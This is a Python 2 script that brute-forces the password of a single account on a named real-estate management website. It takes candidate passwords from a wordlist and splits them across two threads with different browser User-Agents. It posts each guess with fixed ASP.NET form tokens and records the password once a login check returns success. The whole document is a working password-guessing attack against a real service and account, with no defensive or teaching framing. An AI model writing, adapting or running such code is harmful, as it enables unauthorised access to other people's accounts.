import requests
import threading
import sys
import os
import time
reload(sys)
sys.setdefaultencoding('UTF-8')
url = 'http://web.fangdongliqi.com/'
headers0={
'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0",
#'Referer':'http://web.fangdongliqi.com/',
}
headers1={
'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36'
}
def password(password,headers):
postdata = {
'__VIEWSTATE':'/wEPDwUJMzg1Nzk2MjkwD2QWAmYPZBYCAgQPD2QWAh4Hb25jbGljawUTcmV0dXJuIExvZ2luQ2hlY2soKWQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFEGNrYlJlbWVtYmVyTG9naW7zJ9o8NUSWJe2HBNn+uJCEZE4MsAZKXcjmcaznjUxegw==',
'__VIEWSTATEGENERATOR':'70B4BD4E',
'__EVENTVALIDATION':' /wEdAAeLLYaLFaPgs2NJYQg6uIupjBZTC/Oe9LtyHr1zdRGwGYWDpeI41dtZo7urN/YwNwCFa3z02QmQnYFjj3wKxfjrkmkX6Qg79auoE/whv3XuAKKeKEbp39eHc9mbdvkCgxC2rOhEGxFaPoqg/tPtiGhk78Q8b6/12FGjdZD/nyEYeD6cFj1ZR7BkhunmMZKpK0k=',
'txtLoginUser' : '[email protected]',
'txtLoginPwd' : password,
'txtCode':'',
'hf_LoginCode':'N',
'btnLogin':u'登录',
}
print password
with open('error.txt','a')as f:
f.write(password+'\n')
s = requests.session()
s.post(url, data = postdata,headers=headers)
#r=s.get('http://web.fangdongliqi.com/main.aspx')
#r1=s.get('http://web.fangdongliqi.com/Users/Ajax_ashx/UserInfo.ashx?GetUserInfo=Y&time=Fri%20Jul%2029%202016%2010:41:22%20GMT+0800')
login=s.get('http://web.fangdongliqi.com/Users/Ajax_ashx/UserInfo.ashx?CheckLogin=CheckLogin')
if login.text=='SUCCESS':
print login.text
print 'Done:',password
with open('Done.txt','a')as f:
f.write(password+'\n')
sys.exit()#等价于os._exit()
def test0():
with open("password.txt",'rb')as f:
for line in f.readlines():
lines=line.strip('\n\r\t')
if lines.startswith('0'):
password(lines,headers0)
def test1():
with open("password.txt",'rb')as f:
for line in f.readlines():
lines=line.strip('\n\r\t')
if lines.startswith('1'):
password(lines,headers1)
threads=[]
s0=threading.Thread(target=test0)
threads.append(s0)
s1=threading.Thread(target=test1)
threads.append(s1)
if __name__=='__main__':
for s in threads:
s.setDaemon(True)
s.start()
for s in threads:
s.join()